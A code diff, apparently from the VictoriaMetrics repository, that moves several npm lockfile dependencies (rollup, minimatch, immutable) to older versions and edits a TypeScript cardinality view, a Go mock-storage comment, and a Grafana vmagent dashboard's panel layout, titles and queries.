|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.52.5.tgz",
|
||||
"integrity": "sha512-hq3jU/kGyjXWTvAh2awn8oHroCbrPm8JqM7RUpKjalIRWWXE01CQOf/tUNWNHjmbMHg/hmNCwc/Pz3k1T/j/Lg==",
|
||||
"cpu": [
|
||||
"riscv64"
|
||||
],
|
||||
@@ -1889,9 +1863,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-s390x-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-gn8kHOrku8D4NGHMK1Y7NA7INQTRdVOntt1OCYypZPRt6skGbddska44K8iocdpxHTMMNui5oH4elPH4QOLrFQ==",
|
||||
"cpu": [
|
||||
"s390x"
|
||||
],
|
||||
@@ -1902,9 +1876,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-x64-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-hXGLYpdhiNElzN770+H2nlx+jRog8TyynpTVzdlc6bndktjKWyZyiCsuDAlpd+j+W+WNqfcyAWz9HxxIGfZm1Q==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -1915,9 +1889,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-x64-musl": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.52.5.tgz",
|
||||
"integrity": "sha512-arCGIcuNKjBoKAXD+y7XomR9gY6Mw7HnFBv5Rw7wQRvwYLR7gBAgV7Mb2QTyjXfTveBNFAtPt46/36vV9STLNg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -1927,23 +1901,10 @@
|
||||
"linux"
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-openbsd-x64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
"openbsd"
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-openharmony-arm64": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.52.5.tgz",
|
||||
"integrity": "sha512-QoFqB6+/9Rly/RiPjaomPLmR/13cgkIGfA40LHly9zcH1S0bN2HVFYk3a1eAyHQyjs3ZJYlXvIGtcCs5tko9Cw==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1954,9 +1915,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-arm64-msvc": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.52.5.tgz",
|
||||
"integrity": "sha512-w0cDWVR6MlTstla1cIfOGyl8+qb93FlAVutcor14Gf5Md5ap5ySfQ7R9S/NjNaMLSFdUnKGEasmVnu3lCMqB7w==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1967,9 +1928,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-ia32-msvc": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.52.5.tgz",
|
||||
"integrity": "sha512-Aufdpzp7DpOTULJCuvzqcItSGDH73pF3ko/f+ckJhxQyHtp67rHw3HMNxoIdDMUITJESNE6a8uh4Lo4SLouOUg==",
|
||||
"cpu": [
|
||||
"ia32"
|
||||
],
|
||||
@@ -1980,9 +1941,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-x64-gnu": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.52.5.tgz",
|
||||
"integrity": "sha512-UGBUGPFp1vkj6p8wCRraqNhqwX/4kNQPS57BCFc8wYh0g94iVIW33wJtQAx3G7vrjjNtRaxiMUylM0ktp/TRSQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -1993,9 +1954,9 @@
|
||||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-x64-msvc": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.52.5.tgz",
|
||||
"integrity": "sha512-TAcgQh2sSkykPRWLrdyy2AiceMckNf5loITqXxFI5VuQjS5tSuw3WlwdN8qv8vzjLAUTvYaH/mVjSFpbkFbpTg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -2416,13 +2377,13 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {
|
||||
"version": "9.0.9",
|
||||
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
|
||||
"integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
|
||||
"version": "9.0.5",
|
||||
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
|
||||
"integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
|
||||
"dev": true,
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"brace-expansion": "^2.0.2"
|
||||
"brace-expansion": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=16 || 14 >=14.17"
|
||||
@@ -4656,9 +4617,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/immutable": {
|
||||
"version": "5.1.5",
|
||||
"resolved": "https://registry.npmjs.org/immutable/-/immutable-5.1.5.tgz",
|
||||
"integrity": "sha512-t7xcm2siw+hlUM68I+UEOK+z84RzmN59as9DZ7P1l0994DKUWV7UXBMQZVxaoMSRQ+PBZbHCOoBt7a2wxOMt+A==",
|
||||
"version": "5.1.4",
|
||||
"resolved": "https://registry.npmjs.org/immutable/-/immutable-5.1.4.tgz",
|
||||
"integrity": "sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==",
|
||||
"devOptional": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
@@ -5497,9 +5458,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/minimatch": {
|
||||
"version": "3.1.5",
|
||||
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
|
||||
"integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
|
||||
"integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
|
||||
"dev": true,
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
@@ -6219,9 +6180,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/rollup": {
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
|
||||
"integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
|
||||
"version": "4.52.5",
|
||||
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.52.5.tgz",
|
||||
"integrity": "sha512-3GuObel8h7Kqdjt0gxkEzaifHTqLVW56Y/bjN7PSQtkKr0w3V/QYSdt6QWYtd7A1xUtYQigtdUfgj1RvWVtorw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/estree": "1.0.8"
|
||||
@@ -6234,31 +6195,28 @@
|
||||
"npm": ">=8.0.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@rollup/rollup-android-arm-eabi": "4.59.0",
|
||||
"@rollup/rollup-android-arm64": "4.59.0",
|
||||
"@rollup/rollup-darwin-arm64": "4.59.0",
|
||||
"@rollup/rollup-darwin-x64": "4.59.0",
|
||||
"@rollup/rollup-freebsd-arm64": "4.59.0",
|
||||
"@rollup/rollup-freebsd-x64": "4.59.0",
|
||||
"@rollup/rollup-linux-arm-gnueabihf": "4.59.0",
|
||||
"@rollup/rollup-linux-arm-musleabihf": "4.59.0",
|
||||
"@rollup/rollup-linux-arm64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-arm64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-loong64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-loong64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-ppc64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-ppc64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-riscv64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-riscv64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-s390x-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-x64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-x64-musl": "4.59.0",
|
||||
"@rollup/rollup-openbsd-x64": "4.59.0",
|
||||
"@rollup/rollup-openharmony-arm64": "4.59.0",
|
||||
"@rollup/rollup-win32-arm64-msvc": "4.59.0",
|
||||
"@rollup/rollup-win32-ia32-msvc": "4.59.0",
|
||||
"@rollup/rollup-win32-x64-gnu": "4.59.0",
|
||||
"@rollup/rollup-win32-x64-msvc": "4.59.0",
|
||||
"@rollup/rollup-android-arm-eabi": "4.52.5",
|
||||
"@rollup/rollup-android-arm64": "4.52.5",
|
||||
"@rollup/rollup-darwin-arm64": "4.52.5",
|
||||
"@rollup/rollup-darwin-x64": "4.52.5",
|
||||
"@rollup/rollup-freebsd-arm64": "4.52.5",
|
||||
"@rollup/rollup-freebsd-x64": "4.52.5",
|
||||
"@rollup/rollup-linux-arm-gnueabihf": "4.52.5",
|
||||
"@rollup/rollup-linux-arm-musleabihf": "4.52.5",
|
||||
"@rollup/rollup-linux-arm64-gnu": "4.52.5",
|
||||
"@rollup/rollup-linux-arm64-musl": "4.52.5",
|
||||
"@rollup/rollup-linux-loong64-gnu": "4.52.5",
|
||||
"@rollup/rollup-linux-ppc64-gnu": "4.52.5",
|
||||
"@rollup/rollup-linux-riscv64-gnu": "4.52.5",
|
||||
"@rollup/rollup-linux-riscv64-musl": "4.52.5",
|
||||
"@rollup/rollup-linux-s390x-gnu": "4.52.5",
|
||||
"@rollup/rollup-linux-x64-gnu": "4.52.5",
|
||||
"@rollup/rollup-linux-x64-musl": "4.52.5",
|
||||
"@rollup/rollup-openharmony-arm64": "4.52.5",
|
||||
"@rollup/rollup-win32-arm64-msvc": "4.52.5",
|
||||
"@rollup/rollup-win32-ia32-msvc": "4.52.5",
|
||||
"@rollup/rollup-win32-x64-gnu": "4.52.5",
|
||||
"@rollup/rollup-win32-x64-msvc": "4.52.5",
|
||||
"fsevents": "~2.3.2"
|
||||
}
|
||||
},
|
||||
|
||||
@@ -80,7 +80,7 @@ export default class AppConfigurator {
|
||||
|
||||
let keys: string[] = [];
|
||||
if (focusLabel || isMetricWithLabel) {
|
||||
keys = keys.concat("seriesCountByMetricName", "seriesCountByFocusLabelValue");
|
||||
keys = keys.concat("seriesCountByFocusLabelValue");
|
||||
} else if (isMetric) {
|
||||
keys = keys.concat("labelValueCountByLabelName");
|
||||
} else if (isLabel) {
|
||||
|
||||
@@ -22,7 +22,7 @@ func NewPrometheusMockStorage(series []*prompb.TimeSeries) *PrometheusMockStorag
|
||||
return &PrometheusMockStorage{store: series}
|
||||
}
|
||||
|
||||
// ReadMultiple implements the storage.ReadClient interface for reading time series data.
|
||||
// ReadMultiple implemnets the storage.ReadClient interface for reading time series data.
|
||||
func (ms *PrometheusMockStorage) ReadMultiple(ctx context.Context, queries []*prompb.Query, sortSeries bool) (storage.SeriesSet, error) {
|
||||
if len(queries) != 1 {
|
||||
panic(fmt.Errorf("reading multiple queries isn't implemented"))
|
||||
|
||||
@@ -51,7 +51,7 @@
|
||||
"editable": true,
|
||||
"fiscalYearStartMonth": 0,
|
||||
"graphTooltip": 1,
|
||||
"id": 3,
|
||||
"id": 2,
|
||||
"links": [
|
||||
{
|
||||
"icon": "doc",
|
||||
@@ -1769,7 +1769,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 141
|
||||
"y": 698
|
||||
},
|
||||
"id": 111,
|
||||
"options": {
|
||||
@@ -1884,7 +1884,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 141
|
||||
"y": 698
|
||||
},
|
||||
"id": 157,
|
||||
"options": {
|
||||
@@ -1996,7 +1996,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 196
|
||||
"y": 758
|
||||
},
|
||||
"id": 155,
|
||||
"options": {
|
||||
@@ -2103,7 +2103,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 196
|
||||
"y": 758
|
||||
},
|
||||
"id": 158,
|
||||
"options": {
|
||||
@@ -2226,7 +2226,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 204
|
||||
"y": 766
|
||||
},
|
||||
"id": 156,
|
||||
"options": {
|
||||
@@ -2370,7 +2370,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 204
|
||||
"y": 766
|
||||
},
|
||||
"id": 81,
|
||||
"options": {
|
||||
@@ -2497,7 +2497,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 212
|
||||
"y": 774
|
||||
},
|
||||
"id": 39,
|
||||
"options": {
|
||||
@@ -2603,7 +2603,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 212
|
||||
"y": 774
|
||||
},
|
||||
"id": 159,
|
||||
"options": {
|
||||
@@ -2729,7 +2729,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 220
|
||||
"y": 782
|
||||
},
|
||||
"id": 41,
|
||||
"options": {
|
||||
@@ -2849,7 +2849,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 220
|
||||
"y": 782
|
||||
},
|
||||
"id": 7,
|
||||
"options": {
|
||||
@@ -2971,7 +2971,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 228
|
||||
"y": 790
|
||||
},
|
||||
"id": 135,
|
||||
"options": {
|
||||
@@ -3081,7 +3081,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 228
|
||||
"y": 790
|
||||
},
|
||||
"id": 149,
|
||||
"options": {
|
||||
@@ -3187,7 +3187,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 236
|
||||
"y": 798
|
||||
},
|
||||
"id": 154,
|
||||
"options": {
|
||||
@@ -3297,7 +3297,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 236
|
||||
"y": 798
|
||||
},
|
||||
"id": 83,
|
||||
"options": {
|
||||
@@ -3386,7 +3386,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3401,8 +3400,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3418,7 +3416,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 142
|
||||
"y": 3116
|
||||
},
|
||||
"id": 92,
|
||||
"options": {
|
||||
@@ -3440,7 +3438,7 @@
|
||||
"sort": "desc"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3456,7 +3454,7 @@
|
||||
"refId": "A"
|
||||
}
|
||||
],
|
||||
"title": "Top 10 jobs by newly added series",
|
||||
"title": "Top 10 jobs by unique samples",
|
||||
"type": "timeseries"
|
||||
},
|
||||
{
|
||||
@@ -3464,7 +3462,7 @@
|
||||
"type": "victoriametrics-metrics-datasource",
|
||||
"uid": "$ds"
|
||||
},
|
||||
"description": "Shows top 10 targets by the number of new series registered by vmagent over the 5min range. These instances generate the most of the churn rate.",
|
||||
"description": "Shows top 10 instances by the number of new series registered by vmagent over the 5min range. These instances generate the most of the churn rate.",
|
||||
"fieldConfig": {
|
||||
"defaults": {
|
||||
"color": {
|
||||
@@ -3494,7 +3492,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3509,8 +3506,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3526,7 +3522,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 142
|
||||
"y": 3116
|
||||
},
|
||||
"id": 95,
|
||||
"options": {
|
||||
@@ -3548,7 +3544,7 @@
|
||||
"sort": "desc"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3557,14 +3553,14 @@
|
||||
},
|
||||
"editorMode": "code",
|
||||
"exemplar": false,
|
||||
"expr": "topk(10, sum(sum_over_time(scrape_series_added[5m])) by (job,instance)) > 0",
|
||||
"expr": "topk(10, sum(sum_over_time(scrape_series_added[5m])) by (instance)) > 0",
|
||||
"interval": "",
|
||||
"legendFormat": "{{job}}-{{instance}}",
|
||||
"legendFormat": "__auto",
|
||||
"range": true,
|
||||
"refId": "A"
|
||||
}
|
||||
],
|
||||
"title": "Top 10 targets by newly added series",
|
||||
"title": "Top 10 instances by unique samples",
|
||||
"type": "timeseries"
|
||||
},
|
||||
{
|
||||
@@ -3603,7 +3599,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3620,8 +3615,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "transparent",
|
||||
"value": 0
|
||||
"color": "transparent"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3637,7 +3631,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 150
|
||||
"y": 3124
|
||||
},
|
||||
"id": 98,
|
||||
"options": {
|
||||
@@ -3659,7 +3653,7 @@
|
||||
"sort": "desc"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3714,7 +3708,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3731,8 +3724,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "transparent",
|
||||
"value": 0
|
||||
"color": "transparent"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3748,7 +3740,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 150
|
||||
"y": 3124
|
||||
},
|
||||
"id": 99,
|
||||
"options": {
|
||||
@@ -3770,7 +3762,7 @@
|
||||
"sort": "none"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3824,7 +3816,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3841,8 +3832,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3858,7 +3848,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 158
|
||||
"y": 3132
|
||||
},
|
||||
"id": 79,
|
||||
"options": {
|
||||
@@ -3880,7 +3870,7 @@
|
||||
"sort": "none"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3934,7 +3924,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3951,8 +3940,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3968,7 +3956,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 158
|
||||
"y": 3132
|
||||
},
|
||||
"id": 18,
|
||||
"links": [
|
||||
@@ -3997,7 +3985,7 @@
|
||||
"sort": "none"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -4082,7 +4070,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 166
|
||||
"y": 3140
|
||||
},
|
||||
"id": 127,
|
||||
"options": {
|
||||
@@ -4188,7 +4176,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 166
|
||||
"y": 3140
|
||||
},
|
||||
"id": 50,
|
||||
"options": {
|
||||
@@ -4290,7 +4278,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 174
|
||||
"y": 3148
|
||||
},
|
||||
"id": 129,
|
||||
"options": {
|
||||
@@ -4425,7 +4413,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 174
|
||||
"y": 3148
|
||||
},
|
||||
"id": 150,
|
||||
"options": {
|
||||
@@ -4528,7 +4516,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 181
|
||||
"y": 3155
|
||||
},
|
||||
"id": 151,
|
||||
"options": {
|
||||
@@ -4649,7 +4637,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4209
|
||||
"y": 3361
|
||||
},
|
||||
"id": 48,
|
||||
"options": {
|
||||
@@ -4757,7 +4745,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4209
|
||||
"y": 3361
|
||||
},
|
||||
"id": 76,
|
||||
"options": {
|
||||
@@ -4863,7 +4851,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4216
|
||||
"y": 3368
|
||||
},
|
||||
"id": 132,
|
||||
"options": {
|
||||
@@ -4971,7 +4959,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4216
|
||||
"y": 3368
|
||||
},
|
||||
"id": 133,
|
||||
"options": {
|
||||
@@ -5078,7 +5066,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4223
|
||||
"y": 3375
|
||||
},
|
||||
"id": 20,
|
||||
"options": {
|
||||
@@ -5184,7 +5172,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4223
|
||||
"y": 3375
|
||||
},
|
||||
"id": 126,
|
||||
"options": {
|
||||
@@ -5289,7 +5277,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4231
|
||||
"y": 3383
|
||||
},
|
||||
"id": 46,
|
||||
"options": {
|
||||
@@ -5394,7 +5382,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4231
|
||||
"y": 3383
|
||||
},
|
||||
"id": 148,
|
||||
"options": {
|
||||
@@ -5499,7 +5487,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4239
|
||||
"y": 3391
|
||||
},
|
||||
"id": 31,
|
||||
"options": {
|
||||
@@ -5666,7 +5654,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 3931
|
||||
"y": 3083
|
||||
},
|
||||
"id": 73,
|
||||
"options": {
|
||||
